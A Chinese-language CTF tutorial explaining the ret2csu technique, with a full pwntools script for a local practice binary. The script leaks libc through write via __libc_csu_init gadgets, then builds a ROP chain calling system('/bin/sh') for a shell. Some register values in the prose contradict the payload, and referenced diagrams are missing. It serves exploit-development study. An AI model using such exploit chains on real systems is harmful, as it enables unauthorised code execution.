ret2csu
在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的 gadgets,比如说我们想构造 64 位程序 write 函数的三个参数,那就需要操作 rdi,rsi,rdx ,三个寄存器,如果找不全关于这三个寄存器的 gadget 呢,比如下面用的上的就只有 pop rdi;ret 和 ret,但是我们程序里只有 write 打印函数,要求三个参数
这时候,我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。我们先来看一下这个函数 (当然,不同版本的这个函数有一定的区别)
我们要利用的就是 __libc_csu_init 里的这两块区域
可以看到 gadget1 对 rdx,rsi,edi 赋值 r14,r13,r12,这不刚好就是我们想要的参数吗,而且 gadget2 又可以操控 r14,r13,r12 的值。
我们可以 栈溢出覆盖返回地址为 gadget2 -> retn 到 gadget1 -> call write 打印基地址 -> 顺序执行到 gadget2,retn 到 有溢出的函数。关系如下图(下图仅作参考,和我们开始讲的不是一道题)
整理一下
-
栈溢出覆盖返回地址为 gadget
gadget2 = 0x4011F2 ; pop rbx 开始
-
设置 rbx 为 1,rbp 为 0
因为我们 call write 得到 write 真实地址后还想继续往下走触发 gadget2 的 ret 来到 system函数,这样就能 call [r15],而且不会执行 jnz,直接往下走
-
设置 r12,r13,r14分别为 write 参数,r15 为返回地址设置为 gadget1 的地址
-
设置 r15 为 write 函数的 got 表 (因为是 call ,
a. call 函数为跳转到某地址内所保存的地址,应该使用 got 表中的地址
b. ret 指令必须跳转到一段有效的汇编指令,所以应为 plt 表中的地址 -
设置7个脏数据
走回 gadget2 后还要
我们已经拿到基地址了,现在这几个参数对我们来说没有用处了,我们要的是 gadget2 的 ret 返回到 dofunc 后门函数(有溢出)再一次操作。
注意到 rsp向高地址移了一个单位,所以这一阶段的 payload
payload = flat([b'a'*padding,gadget2,0,1,1,write_got,8,write_got,gadget1])
payload += p64(0xdeadbeef)*7
payload += p64(dofunc)
然后拿到了基地址得到了libc 库我们就可以按照正常流程走了
from LibcSearcher import *
from pwn import *
io = process('64')
elf = ELF('./64')
context.arch = 'amd64'
context.log_level = 'debug'
padding = 0x8 + 8
write_plt = elf.plt['write']
write_got = elf.got['write']
gadget1 = 0x4011D8
gadget2 = 0x4011F2
rdi_ret = 0x4011fb
dofunc = elf.sym['dofunc']
payload = flat([b'a'*padding,gadget2,0,1,1,write_got,8,write_got,gadget1])
payload += p64(0xdeadbeef)*7
payload += p64(dofunc)
io.sendlineafter("input:",payload)
real_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc = LibcSearcher('write',real_addr)
libc_base = real_addr - libc.dump('write')
sys_addr = libc.dump('system') + libc_base
binsh = libc.dump('str_bin_sh') + libc_base
ret = 0x401016
payload2 = flat([b'a'*padding,ret,rdi_ret,binsh,sys_addr])
io.sendlineafter("input:",payload2)
io.interactive()